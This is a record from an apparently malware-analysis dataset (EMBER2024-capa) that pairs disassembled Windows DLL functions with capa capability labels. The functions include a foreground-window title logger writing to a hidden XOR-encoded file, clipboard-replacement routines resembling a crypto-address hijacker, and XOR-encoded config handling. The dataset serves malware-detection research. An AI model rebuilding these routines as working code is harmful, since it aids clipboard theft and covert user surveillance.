joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18000593c
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
mov rbp, rsp
sub rsp, 0x70
xorps xmm0, xmm0
xor eax, eax
xor esi, esi
mov qword [rbp - 0x10], rax
movups xmmword [rbp - 0x40], xmm0
mov dword [rbp + 0x20], esi
mov rbx, rcx
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
call fcn.180003698
mov rcx, rax
mov rdi, rax
call fcn.1800056ac
mov rcx, rbx
call qword [rbx + 0x30]
cmp eax, 0x38
jb 0x180005a76
lea r8d, [rsi + 0x38]
mov rcx, rbx
lea rdx, [rbp - 0x40]
call qword [rbx + 0x20]
mov rcx, rbx
call qword [rbx + 0x30]
test eax, eax
jne 0x180005a0a
mov dword [rbp + 0x28], esi
call qword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
mov ecx, eax
lea rdx, [rbp + 0x28]
call qword [sym.imp.KERNEL32.DLL_ProcessIdToSessionId]
cmp dword [rbp + 0x28], esi
jne 0x1800059eb
lea rcx, [0x180057d88]
call fcn.180014934
test eax, eax
je 0x1800059d7
lea rdx, [rbp + 0x20]
mov ecx, eax
call qword [sym.imp.KERNEL32.DLL_ProcessIdToSessionId]
jmp 0x180005a25
cmp qword [sym.imp.KERNEL32.DLL_WTSGetActiveConsoleSessionId], rsi
je 0x180005a25
call qword [sym.imp.KERNEL32.DLL_WTSGetActiveConsoleSessionId]
mov dword [rbp + 0x20], eax
jmp 0x180005a25
mov qword [rsp + 0x28], rsi
lea r8, [0x18000eae8]
xor r9d, r9d
mov dword [rsp + 0x20], esi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_CreateThread]
jmp 0x180005a76
mov rcx, rbx
call qword [rbx + 0x30]
mov r8d, 4
cmp eax, r8d
jne 0x180005a76
lea rdx, [rbp + 0x20]
mov rcx, rbx
call qword [rbx + 0x20]
mov rcx, rdi
call qword [rdi + 0x30]
mov esi, 0xa88
cmp eax, esi
jne 0x180005a76
mov dword [rbp - 0x18], esi
call fcn.180003698
mov r8d, gethostname
lea rdx, [rbp - 0x40]
mov rcx, rax
mov rbx, rax
call qword [rax + 0x28]
xor edx, edx
mov rcx, rdi
call qword [rdi + gethostname]
mov r8d, esi
mov rcx, rbx
mov rdx, rax
call qword [rbx + 0x28]
mov edx, dword [rbp + 0x20]
mov rcx, rbx
call fcn.180005670
mov rcx, rbx
call fcn.1800037c0
mov rcx, rdi
call fcn.1800037c0
mov rbx, qword [rsp + 0xa0]
xor eax, eax
add rsp, 0x70
pop rdi
pop rsi
pop rbp
ret
Function at 0x180006374
Capabilities:
Encode data using xor
Write file on windows

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r15
lea rbp, [rsp - 0x190]
sub rsp, 0x290
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x70], rax
mov rbx, rcx
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x60], xmm0
call qword [rcx + 0x30]
mov r8d, gethostname
cmp eax, r8d
jbe 0x1800065b3
lea rdx, [rsp + 0x40]
mov rcx, rbx
call qword [rbx + 0x20]
mov rcx, rbx
call qword [rbx + 0x30]
mov r15d, 4
cmp eax, dword [rsp + 0x68]
jne 0x1800064b6
xor edx, edx
mov rcx, rbx
call qword [rbx + gethostname]
movsxd rcx, dword [rsp + 0x68]
mov rdi, rax
test rcx, rcx
jle 0x1800063fa
xor byte [rax], 0x3a
inc rax
sub rcx, 1
jne 0x1800063ee
xor edx, edx
lea rcx, [rbp - 0x80]
mov r8d, 0x208
call sub.ntdll.dll_memset
lea rdx, [0x180060794]
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
lea rdx, str.cp.cfg
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
and qword [rsp + 0x30], 0
lea rcx, [rbp - 0x80]
and dword [rbp + 0x1d0], 0
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
mov edx, 0x40000000
mov dword [rsp + 0x20], r15d
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.DLL_CreateFileW]
mov rsi, rax
test rax, rax
je 0x1800064a0
mov r9d, 2
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_SetFilePointer]
mov r8d, dword [rsp + 0x68]
lea r9, [rbp + 0x1d0]
and qword [rsp + 0x20], 0
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.DLL_WriteFile]
mov rcx, rsi
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
movsxd rax, dword [rsp + 0x68]
test rax, rax
jle 0x1800064b6
xor byte [rdi], 0x3a
inc rdi
sub rax, 1
jne 0x1800064aa
and dword [rbp + 0x1c0], 0
mov rcx, rbx
and dword [rbp + 0x1c8], 0
call qword [rbx + 0x30]
cmp eax, r15d
jbe 0x1800065ab
mov r8d, r15d
lea rdx, [rbp + 0x1c0]
mov rcx, rbx
call qword [rbx + 0x20]
mov edx, dword [rbp + 0x1c0]
mov esi, 0x1000
mov r8d, esi
mov r9d, r15d
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x1800065ab
mov rcx, rbx
call qword [rbx + 0x30]
mov r8d, dword [rbp + 0x1c0]
cmp eax, r8d
jbe 0x1800065ab
mov rdx, rdi
mov rcx, rbx
call qword [rbx + 0x20]
mov rcx, rbx
call qword [rbx + 0x30]
cmp eax, r15d
jbe 0x1800065ab
mov r8d, r15d
lea rdx, [rbp + 0x1c8]
mov rcx, rbx
call qword [rbx + 0x20]
mov edx, dword [rbp + 0x1c8]
mov r9d, r15d
mov r8d, esi
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov rsi, rax
test rax, rax
je 0x1800065ab
mov rcx, rbx
call qword [rbx + 0x30]
mov r8d, dword [rbp + 0x1c8]
cmp eax, r8d
jb 0x1800065ab
mov rdx, rsi
mov rcx, rbx
call qword [rbx + 0x20]
mov rcx, qword [0x1800609b8]
test rcx, rcx
je 0x1800065ab
mov rdx, rdi
call fcn.18001074c
mov r8, rsi
mov rdx, rdi
test rax, rax
je 0x18000659f
call fcn.180010834
jmp 0x1800065ab
mov rcx, qword [0x1800609b8]
call fcn.1800106c0
mov rcx, rbx
call fcn.1800037c0
xor eax, eax
add rsp, 0x290
pop r15
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x1800065c4
Capabilities:
Encode data using xor
Get file size
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r14
lea rbp, [rsp - 0x150]
sub rsp, 0x250
xor edx, edx
lea rcx, [rsp + 0x40]
mov r8d, 0x208
call sub.ntdll.dll_memset
lea rdx, [0x180060794]
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
lea rdx, str.cp.cfg
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
and qword [rsp + 0x30], 0
lea rcx, [rsp + 0x40]
and dword [rbp + 0x190], 0
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.DLL_CreateFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x180006805
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_GetFileSize]
mov r12d, 4
mov edx, eax
mov r8d, 0x1000
mov r14d, eax
mov r9d, r12d
mov ebx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x1800067f7
and qword [rsp + 0x20], 0
lea r9, [rbp + 0x190]
mov r8d, r14d
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
je 0x1800067f1
test r14d, r14d
jle 0x1800066c3
mov rax, rdi
xor byte [rax], 0x3a
inc rax
sub rbx, 1
jne 0x1800066b7
call fcn.180003698
mov r8d, r14d
mov rdx, rdi
mov rcx, rax
mov rbx, rax
call qword [rax + 0x28]
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_VirtualFree]
jmp 0x1800067ca
mov r8d, r12d
lea rdx, [rbp + 0x180]
mov rcx, rbx
call qword [rbx + 0x20]
mov edx, dword [rbp + 0x180]
mov r9d, r12d
xor ecx, ecx
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x1800067e7
mov rcx, rbx
call qword [rbx + 0x30]
mov r8d, dword [rbp + 0x180]
cmp eax, r8d
jbe 0x1800067e7
mov rdx, rdi
mov rcx, rbx
call qword [rbx + 0x20]
mov rcx, rbx
call qword [rbx + 0x30]
cmp eax, r12d
jbe 0x1800067e7
mov r8d, r12d
lea rdx, [rbp + 0x188]
mov rcx, rbx
call qword [rbx + 0x20]
mov edx, dword [rbp + 0x188]
mov r9d, r12d
xor ecx, ecx
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov r14, rax
test rax, rax
je 0x1800067e7
mov rcx, rbx
call qword [rbx + 0x30]
mov r8d, dword [rbp + 0x188]
cmp eax, r8d
jb 0x1800067e7
mov rdx, r14
mov rcx, rbx
call qword [rbx + 0x20]
mov rcx, qword [0x1800609b8]
test rcx, rcx
je 0x1800067ca
mov rdx, rdi
call fcn.18001074c
mov r8, r14
mov rdx, rdi
test rax, rax
je 0x1800067be
call fcn.180010834
jmp 0x1800067ca
mov rcx, qword [0x1800609b8]
call fcn.1800106c0
and dword [rbp + 0x180], 0
mov rcx, rbx
and dword [rbp + 0x188], 0
call qword [rbx + 0x30]
cmp eax, r12d
ja 0x1800066ed
mov rcx, rbx
call fcn.1800037c0
jmp 0x1800067f7
call qword [sym.imp.KERNEL32.DLL_GetLastError]
test rsi, rsi
je 0x180006805
mov rcx, rsi
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov rbx, qword [rsp + 0x298]
xor eax, eax
add rsp, 0x250
pop r14
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x180006820
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x230
mov rbx, qword [0x1800609b8]
mov edx, gethostname
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_IsBadReadPtr]
test eax, eax
jne 0x180006881
test rbx, rbx
je 0x180006881
lea rcx, [rbx + 0x10]
call qword [sym.imp.KERNEL32.DLL_EnterCriticalSection]
jmp 0x18000686e
lea rdx, [rax - 1]
mov rcx, rbx
call fcn.180010940
mov rdx, rax
mov rcx, rbx
call fcn.1800108b0
mov rax, qword [rbx + 8]
test rax, rax
jne 0x180006857
lea rcx, [rbx + 0x10]
call qword [sym.imp.KERNEL32.DLL_LeaveCriticalSection]
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x208
call sub.ntdll.dll_memset
lea rdx, [0x180060794]
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
lea rdx, str.cp.cfg
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.DLL_DeleteFileW]
mov rbx, qword [rsp + 0x240]
xor eax, eax
add rsp, 0x230
pop rdi
ret
Function at 0x1800068d8
Capabilities:
Encode data using xor
Get common file path

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0xc00]
sub rsp, 0xd00
mov rdi, rcx
call fcn.180003698
mov rcx, rdi
mov rsi, rax
call qword [rdi + 0x30]
xor edx, edx
mov rcx, rdi
mov ebx, eax
call qword [rdi + gethostname]
mov r8d, ebx
mov rcx, rsi
mov rdx, rax
call qword [rsi + 0x28]
mov rcx, rdi
call fcn.1800037c0
xorps xmm0, xmm0
lea rdx, [rsp + 0x30]
xor eax, eax
mov rcx, rsi
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x60], rax
movups xmmword [rsp + 0x40], xmm0
lea r8d, [rax + 0x38]
movups xmmword [rsp + 0x50], xmm0
call qword [rsi + 0x20]
mov ebx, 0xa88
lea rcx, [rbp + 0x170]
mov r8d, ebx
xor edx, edx
call sub.ntdll.dll_memset
movzx eax, word [0x1800609f8]
lea rcx, [rbp + 0x170]
mov rdx, qword [0x180060a30]
mov word [rbp + 0x270], ax
call qword [sym.imp.KERNEL32.DLL_lstrcatA]
mov eax, dword [0x1800609e8]
cmp eax, 1
jne 0x180006996
lea rdx, [0x180057d08]
jmp 0x1800069a8
lea rdx, [0x180057d00]
test eax, eax
je 0x1800069a8
lea rdx, str.HTTP
lea rcx, [rbp + 0x272]
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
xor edx, edx
mov rcx, rsi
call qword [rsi + gethostname]
mov rcx, rsi
mov rdi, rax
call qword [rsi + 0x30]
mov r15d, eax
xor ecx, ecx
xor byte [rbp + rcx + 0x170], 0x3a
inc rcx
cmp rcx, rbx
jl 0x1800069cb
lea rcx, [r15 - 0xa8c]
mov r8, rbx
add rcx, rdi
lea rdx, [rbp + 0x170]
call qword [sym.imp.ntdll.dll_memcpy]
and qword [rbp + 0xc38], 0
call fcn.18000be08
mov rcx, rdi
mov rbx, rax
call qword [rax + gethostname]
xor edx, edx
lea rcx, [rsp + 0x70]
mov r8d, 0x200
mov r14d, eax
call sub.ntdll.dll_memset
cmp r14d, 0x20
jne 0x180006a44
lea rdx, [rsp + 0x70]
call fcn.180013dec
lea rdx, str._syswow64
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
jmp 0x180006a63
cmp r14d, 0x40
jne 0x180006a63
lea edx, [r14 + 0x24]
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.DLL_GetSystemDirectoryW]
test eax, eax
jne 0x180006a63
call qword [sym.imp.KERNEL32.DLL_GetLastError]
lea rdx, str.dllhost.exe
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
and dword [rbp + 0xc30], 0
lea rcx, [0x180057d88]
call fcn.180014934
test eax, eax
je 0x180006af6
lea rdx, [rbp + 0xc30]
mov ecx, eax
call qword [sym.imp.KERNEL32.DLL_ProcessIdToSessionId]
mov eax, dword [rbp + 0xc30]
test eax, eax
jne 0x180006ab0
mov eax, 1
mov dword [rbp + 0xc30], eax
lea rcx, [rbp + 0xc38]
mov r9d, eax
mov qword [rsp + 0x20], rcx
mov r8d, r15d
lea rcx, [rsp + 0x70]
mov rdx, rdi
call qword [rbx + 0x18]
mov rcx, rsi
call fcn.1800037c0
mov rcx, rbx
call fcn.18000bf7c
mov rbx, qword [rsp + 0xd40]
xor eax, eax
add rsp, 0xd00
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
cmp qword [sym.imp.KERNEL32.DLL_WTSGetActiveConsoleSessionId], 0
je 0x180006a9b
call qword [sym.imp.KERNEL32.DLL_WTSGetActiveConsoleSessionId]
mov dword [rbp + 0xc30], eax
jmp 0x180006aa1
Function at 0x180006d90
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
mov rax, qword [0x1800609b8]
test rax, rax
je 0x180006f51
cmp qword [rax + 8], 0
jbe 0x180006f51
xor edx, edx
xor ecx, ecx
call qword [gethostname]
xor ecx, ecx
mov r13, rax
call qword [gethostbyname]
mov rbx, qword [0x1800609b8]
xor esi, esi
mov r12d, eax
cmp qword [rbx + 8], rsi
jbe 0x180006f51
mov rdx, rsi
mov rcx, rbx
call fcn.180010940
mov rbx, qword [0x1800609b8]
mov r14, rax
test rbx, rbx
je 0x180006e55
cmp rsi, qword [rbx + 8]
jae 0x180006e55
lea rcx, [rbx + 0x10]
call qword [sym.imp.KERNEL32.DLL_EnterCriticalSection]
mov rdx, qword [rbx]
xor r8d, r8d
jmp 0x180006e32
cmp r8, rsi
jae 0x180006e37
mov rdx, qword [rdx + 0x10]
inc r8
test rdx, rdx
jne 0x180006e26
xor edi, edi
test rdx, rdx
je 0x180006e42
mov rdi, qword [rdx + 8]
lea rcx, [rbx + 0x10]
call qword [sym.imp.KERNEL32.DLL_LeaveCriticalSection]
mov rbx, qword [0x1800609b8]
jmp 0x180006e57
xor edi, edi
test r14, r14
je 0x180006e9f
test rdi, rdi
je 0x180006e9f
xor ebp, ebp
test r12d, r12d
je 0x180006e9f
lea r15, [rbp*2]
mov rcx, r14
add r15, r13
call qword [sym.imp.KERNEL32.DLL_lstrlenW]
mov rdx, r14
mov rcx, r15
add eax, eax
movsxd r8, eax
call qword [sym.imp.ntdll.dll_memcmp]
test eax, eax
je 0x180006eb1
inc ebp
cmp ebp, r12d
jb 0x180006e68
mov rbx, qword [0x1800609b8]
inc rsi
cmp rsi, qword [rbx + 8]
jb 0x180006df4
jmp 0x180006f51
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_lstrlenW]
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.DLL_lstrlenW]
mov rcx, rdi
cmp eax, ebx
jg 0x180006ecf
mov rcx, r14
call qword [sym.imp.KERNEL32.DLL_lstrlenW]
mov rdx, rdi
mov rcx, r15
add eax, eax
movsxd r8, eax
call qword [sym.imp.ntdll.dll_memcpy]
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
jne 0x180006ef8
call qword [sym.imp.USER32.dll_CloseClipboard]
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov rdx, r12
mov ecx, 2
call qword [sym.imp.KERNEL32.DLL_GlobalAlloc]
mov rbx, rax
test rax, rax
je 0x180006f51
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_GlobalLock]
mov rdi, rax
test rax, rax
je 0x180006f51
mov r8, r12
mov rdx, r13
mov rcx, rax
call qword [sym.imp.ntdll.dll_memcpy]
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_GlobalUnlock]
mov rdx, rdi
mov ecx, reloc.WS2_32.dll_listen
call qword [sym.imp.USER32.dll_SetClipboardData]
call qword [sym.imp.USER32.dll_CloseClipboard]
mov rbx, qword [rsp + 0x50]
xor eax, eax
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x180006f70
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
cmp dword [0x1800609dc], 0
mov rbx, rcx
je 0x180007188
call qword [rcx + 0x30]
cmp eax, 0x46
jb 0x180007188
mov rcx, rbx
call qword [rbx + 0x30]
xor edx, edx
mov rcx, rbx
call qword [rbx + gethostname]
mov rcx, rax
mov rsi, rax
call qword [sym.imp.KERNEL32.DLL_lstrlenW]
xor r8d, r8d
mov rcx, rsi
lea edx, [rax*2 + 1]
call fcn.1800147a8
movsxd rdi, eax
test eax, eax
jle 0x180007188
xor ecx, ecx
lea rdx, [rdi + 1]
mov r8d, 0x1000
mov r14, rdi
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov rbx, rax
test rax, rax
je 0x180007188
mov rcx, rsi
call qword [sym.imp.KERNEL32.DLL_lstrlenW]
mov r8, rbx
mov rcx, rsi
lea edx, [rax*2 + 1]
call fcn.1800147a8
xor ebp, ebp
mov rdx, rbx
cmp byte [rdx], 0x54
jne 0x180007062
cmp edi, 0x21
jl 0x180007177
xor ecx, ecx
mov r8b, byte [rdx + rcx]
lea eax, [r8 - 0x30]
cmp al, 0x2a
ja 0x18000704d
movabs r9, 0x7fffffe03ff
bt r9, rax
jb 0x180007057
sub r8b, 0x61
cmp r8b, 0x19
ja 0x180007062
inc rcx
cmp rcx, 0x21
jl 0x180007031
jmp 0x180007074
inc rdx
inc ebp
mov rax, rdx
dec edi
sub rax, rbx
cmp rax, r14
jl 0x180007021
lea rdi, [0x180060a50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_lstrlenW]
xor r8d, r8d
mov rcx, rdi
lea edx, [rax + rax]
call fcn.1800147a8
xor ecx, ecx
movsxd rdx, eax
mov r8d, 0x1000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov rsi, rax
test rax, rax
je 0x180007177
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_lstrlenW]
mov r8, rsi
mov rcx, rdi
lea edx, [rax + rax]
call fcn.1800147a8
mov rcx, rsi
call qword [sym.imp.KERNEL32.DLL_lstrlenA]
movsxd rcx, ebp
mov rdx, rsi
add rcx, rbx
movsxd r8, eax
call qword [sym.imp.ntdll.dll_memcpy]
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x180007166
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_lstrlenA]
inc eax
mov ecx, 2
movsxd rdx, eax
call qword [sym.imp.KERNEL32.DLL_GlobalAlloc]
mov qword [0x180060ae0], rax
test rax, rax
je 0x180007166
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_GlobalLock]
mov rdi, rax
test rax, rax
je 0x180007166
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_lstrlenA]
movsxd r8, eax
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.ntdll.dll_memcpy]
mov rcx, qword [0x180060ae0]
call qword [sym.imp.KERNEL32.DLL_GlobalUnlock]
mov rdx, rdi
mov ecx, 1
call qword [sym.imp.USER32.dll_SetClipboardData]
call qword [sym.imp.USER32.dll_CloseClipboard]
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.DLL_VirtualFree]
mov r8d, 0x8000
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_VirtualFree]
mov rbx, qword [rsp + 0x30]
xor eax, eax
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x1800073e4
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x1770]
mov eax, 0x1870
call sub.ntdll.dll___chkstk
sub rsp, rax
mov edi, 0x800
lea rcx, [rbp + 0x770]
mov r8d, edi
xor edx, edx
xor ebx, ebx
call sub.ntdll.dll_memset
mov r8d, edi
mov dword [rbp + 0x1780], ebx
xor edx, edx
mov dword [rbp + 0x1788], ebx
lea rcx, [rbp + 0xf70]
call sub.ntdll.dll_memset
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov r8d, 0x400
lea rdx, [rbp + 0x770]
mov rcx, rax
mov qword [0x180060b00], rax
call qword [sym.imp.USER32.dll_GetWindowTextW]
mov rcx, qword [0x180060b00]
lea rdx, [rbp + 0x1780]
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov ecx, dword [rbp + 0x1780]
test ecx, ecx
je 0x180007499
lea rdx, [rbp + 0xf70]
call fcn.180014ba8
mov ecx, dword [rbp + 0x1780]
lea rdx, [rbp + 0x1788]
call qword [sym.imp.KERNEL32.DLL_ProcessIdToSessionId]
mov r8, rdi
lea rcx, [rsp + 0x70]
xor edx, edx
call sub.ntdll.dll_memset
mov rax, qword [0x180060b08]
cmp qword [0x180060b00], rax
je 0x180007591
lea rcx, [rbp + 0x770]
call qword [sym.imp.KERNEL32.DLL_lstrlenW]
test eax, eax
jle 0x180007583
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.DLL_GetLocalTime]
movzx eax, word [rsp + 0x6c]
movzx ecx, word [rsp + 0x6a]
movzx edx, word [rsp + 0x68]
movzx r8d, word [rsp + 0x66]
movzx r9d, word [rsp + 0x62]
movzx r10d, word [rsp + 0x60]
mov dword [rsp + 0x50], eax
lea rax, [rbp + 0x770]
mov dword [rsp + 0x48], ecx
lea rcx, [rsp + 0x70]
mov dword [rsp + 0x40], edx
lea rdx, str._r_n_PROCESS:__s_r_n_USERID:__d_r_n_TITLE:__s_r_n_TIME:__d__d__d___d:_d:_d_r_n
mov dword [rsp + 0x38], r8d
lea r8, [rbp + 0xf70]
mov dword [rsp + 0x30], r9d
mov r9d, dword [rbp + 0x1788]
mov dword [rsp + 0x28], r10d
mov qword [rsp + 0x20], rax
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.DLL_lstrlenW]
lea rcx, [rsp + 0x70]
lea edx, [rax + rax]
call fcn.1800075a8
mov r8, rdi
lea rcx, [rsp + 0x70]
xor edx, edx
call qword [sym.imp.ntdll.dll_memset]
mov r8, rdi
lea rcx, [rbp + 0x770]
xor edx, edx
call qword [sym.imp.ntdll.dll_memset]
mov ebx, 1
mov rcx, qword [0x180060b00]
mov qword [0x180060b08], rcx
lea r11, [rsp + 0x1870]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x1800075a8
Capabilities:
Encode data using xor
Set file attributes
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r14
lea rbp, [rsp - 0x150]
sub rsp, 0x250
mov esi, edx
mov r14, rcx
call qword [sym.imp.KERNEL32.DLL_GetTickCount]
xor edx, edx
lea rcx, [rsp + 0x40]
mov r8d, 0x208
mov dword [0x180060a14], eax
call sub.ntdll.dll_memset
lea rdx, [0x180060794]
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
lea rdx, str._temp.key
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
and qword [rsp + 0x30], 0
lea rcx, [rsp + 0x40]
and dword [rbp + 0x190], 0
mov edi, 0x80
mov dword [rsp + 0x28], edi
xor r9d, r9d
mov edx, 0x40000000
mov dword [rsp + 0x20], 3
lea r12d, [rdi - 0x7e]
mov r8d, r12d
call qword [sym.imp.KERNEL32.DLL_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x1800076be
and qword [rsp + 0x30], 0
lea rcx, [rsp + 0x40]
mov dword [rsp + 0x28], edi
xor r9d, r9d
mov r8d, r12d
mov dword [rsp + 0x20], r12d
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.DLL_CreateFileW]
mov r9d, r12d
xor r8d, r8d
mov rcx, rax
xor edx, edx
mov rbx, rax
call qword [sym.imp.KERNEL32.DLL_SetFilePointer]
and qword [rsp + 0x20], 0
lea r9, [rbp + 0x190]
mov eax, 0xfeff
lea rdx, [rbp + 0x188]
mov r8d, r12d
mov word [rbp + 0x188], ax
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_WriteFile]
mov edx, r12d
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
mov r9d, r12d
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_SetFilePointer]
xor ecx, ecx
movsxd rdx, esi
mov r8d, 0x1000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x180007745
test esi, esi
je 0x18000770a
mov rcx, rax
sub r14, rax
mov r8, rsi
mov al, byte [rcx + r14]
xor al, 0x62
mov byte [rcx], al
inc rcx
sub r8, 1
jne 0x1800076f9
and qword [rsp + 0x20], 0
lea r9, [rbp + 0x190]
mov r8d, esi
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_WriteFile]
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_VirtualFree]
mov edx, r12d
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
test rbx, rbx
je 0x180007753
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov rbx, qword [rsp + 0x280]
xor eax, eax
add rsp, 0x250
pop r14
pop r12
pop rdi
pop rsi
pop rbp
ret